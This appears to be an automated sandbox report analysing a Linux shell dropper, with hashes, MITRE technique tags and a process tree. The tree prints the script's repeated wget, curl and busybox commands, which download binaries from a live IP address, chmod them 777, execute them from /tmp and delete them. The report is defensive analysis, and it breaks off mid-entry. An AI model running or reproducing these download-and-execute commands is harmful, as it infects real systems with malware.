cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947

Analysis

max time kernel
37s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 08:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
Size

10KB
MD5

6455d6e588df96170309a55c34f9a5fb
SHA1

285a51c3374e49307c0244a46a13fc489d56f340
SHA256

cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947
SHA512

eb65d310ae1cbd98fdd88181db8f2667ca296ec34b9187118dbd0d1fb891280c433137d14b63d8876d7c6c35ef14a0eb9501cff9662900ad6bedec1fbda8f053
SSDEEP

96:wJqoEYYsFnB9q0XXYQIFxDuu5TWtDxeWusXYQIFxlWQuu5TWtDVnp0vvaR0oEuuZ:wJlYsFnBHcuuEtDMRuuEtD/CN3

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
1605	chmod
1509	chmod
1527	chmod
1533	chmod
1557	chmod
1643	chmod
1503	chmod
1515	chmod
1563	chmod
1575	chmod
1637	chmod
1545	chmod
1593	chmod
1611	chmod
1489	chmod
1569	chmod
1623	chmod
1629	chmod
1551	chmod
1581	chmod
1617	chmod
1655	chmod
1539	chmod
1599	chmod
1649	chmod
1661	chmod
1521	chmod
1587	chmod

Executes dropped EXE 28 IoCs

Processes:

1rQQQWtspmL1kpT95bhh7hVyerI0m3O9LstfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMsB9tKithJtx2VaxOgudRvH49IF0LUCjuBWsZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8GzTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBbp4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKheUEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQcC9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD6tNBriFC2AOibUG6vjDJJR1VULNOIHpapnL2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PMY4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3zTJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZUEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns66tNBriFC2AOibUG6vjDJJR1VULNOIHpapnL2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PMY4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3zTJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZnCucIrzHaAbO3wxaMfCyL98wydNfGmKFQcC9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhDtfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMsB9tKithJtx2VaxOgudRvH49IF0LUCjuBWsZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G1rQQQWtspmL1kpT95bhh7hVyerI0m3O9LszTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBbp4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

busyboxcurlrmL2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PMcurlcurlbusyboxrmwgetcurlTJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZrmTJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZrmwgetL2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PMwgetbusyboxwgetbusybox

pid	Process
1562	busybox
1573	curl
1577	rm
1600	L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
1561	curl
1597	curl
1598	busybox
1601	rm
1608	wget
1609	curl
1612	TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
1565	rm
1576	TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
1613	rm
1560	wget
1564	L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
1572	wget
1574	busybox
1596	wget
1610	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	Process
File opened for modification	/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls	curl
File opened for modification	/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6	curl
File opened for modification	/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD	curl
File opened for modification	/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G	curl
File opened for modification	/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe	curl
File opened for modification	/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn	curl
File opened for modification	/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z	curl
File opened for modification	/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ	curl
File opened for modification	/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM	curl
File opened for modification	/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM	curl
File opened for modification	/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm	curl
File opened for modification	/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc	curl
File opened for modification	/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD	curl
File opened for modification	/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ	curl
File opened for modification	/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls	curl
File opened for modification	/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb	curl
File opened for modification	/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6	curl
File opened for modification	/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs	curl
File opened for modification	/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe	curl
File opened for modification	/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs	curl
File opened for modification	/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn	curl
File opened for modification	/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs	curl
File opened for modification	/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb	curl
File opened for modification	/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs	curl
File opened for modification	/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm	curl
File opened for modification	/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc	curl
File opened for modification	/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z	curl
File opened for modification	/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G	curl

/tmp/cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
/tmp/cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
1⤵
PID:1471
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1472
- /usr/bin/wget
  wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1473
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1488
- /bin/chmod
  chmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  ./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - Executes dropped EXE
  PID:1490
- /bin/rm
  rm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1491
- /usr/bin/wget
  wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  PID:1492
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  PID:1502
- /bin/chmod
  chmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  ./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - Executes dropped EXE
  PID:1504
- /bin/rm
  rm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1506
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1508
- /bin/chmod
  chmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  ./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1512
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1514
- /bin/chmod
  chmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  ./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - Executes dropped EXE
  PID:1516
- /bin/rm
  rm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1518
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1520
- /bin/chmod
  chmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  ./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - Executes dropped EXE
  PID:1522
- /bin/rm
  rm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1524
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1526
- /bin/chmod
  chmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  ./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - Executes dropped EXE
  PID:1528
- /bin/rm
  rm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1532
- /bin/chmod
  chmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  ./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - Executes dropped EXE
  PID:1534
- /bin/rm
  rm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1538
- /bin/chmod
  chmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  ./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - Executes dropped EXE
  PID:1540
- /bin/rm
  rm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1541
- /usr/bin/wget
  wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1542
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1544
- /bin/chmod
  chmod 777 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  ./nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - Executes dropped EXE
  PID:1546
- /bin/rm
  rm nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1548
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1550
- /bin/chmod
  chmod 777 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  ./C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - Executes dropped EXE
  PID:1552
- /bin/rm
  rm C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1554
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1556
- /bin/chmod
  chmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  ./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - Executes dropped EXE
  PID:1558
- /bin/rm
  rm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1559
- /usr/bin/wget
  wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1560
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1561
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1562
- /bin/chmod
  chmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  ./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1564
- /bin/rm
  rm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1565
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1566
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1568
- /bin/chmod
  chmod 777 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  ./Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - Executes dropped EXE
  PID:1570
- /bin/rm
  rm Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1572
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1573
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1574
- /bin/chmod
  chmod 777 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  ./TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1576
- /bin/rm
  rm TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1577
- /usr/bin/wget
  wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1578
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1580
- /bin/chmod
  chmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  ./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  - Executes dropped EXE
  PID:1582
- /bin/rm
  rm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
  2⤵
  PID:1583
- /usr/bin/wget
  wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1584
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1586
- /bin/chmod
  chmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  ./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  - Executes dropped EXE
  PID:1588
- /bin/rm
  rm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
  2⤵
  PID:1589
- /usr/bin/wget
  wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1590
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1592
- /bin/chmod
  chmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  ./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  - Executes dropped EXE
  PID:1594
- /bin/rm
  rm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
  2⤵
  PID:1595
- /usr/bin/wget
  wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1596
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1597
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1598
- /bin/chmod
  chmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - File and Directory Permissions Modification
  PID:1599
- /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  ./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1600
- /bin/rm
  rm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
  2⤵
  - System Network Configuration Discovery
  PID:1601
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1602
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1604
- /bin/chmod
  chmod 777 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  ./Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  - Executes dropped EXE
  PID:1606
- /bin/rm
  rm Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
  2⤵
  PID:1607
- /usr/bin/wget
  wget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1608
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1609
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1610
- /bin/chmod
  chmod 777 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  ./TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1612
- /bin/rm
  rm TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
  2⤵
  - System Network Configuration Discovery
  PID:1613
- /usr/bin/wget
  wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1614
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1616
- /bin/chmod
  chmod 777 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  ./nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  - Executes dropped EXE
  PID:1618
- /bin/rm
  rm nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
  2⤵
  PID:1619
- /usr/bin/wget
  wget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1620
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - Writes file to tmp directory
  PID:1621
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1622
- /bin/chmod
  chmod 777 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - File and Directory Permissions Modification
  PID:1623
- /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  ./C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  - Executes dropped EXE
  PID:1624
- /bin/rm
  rm C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
  2⤵
  PID:1625
- /usr/bin/wget
  wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  PID:1626
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
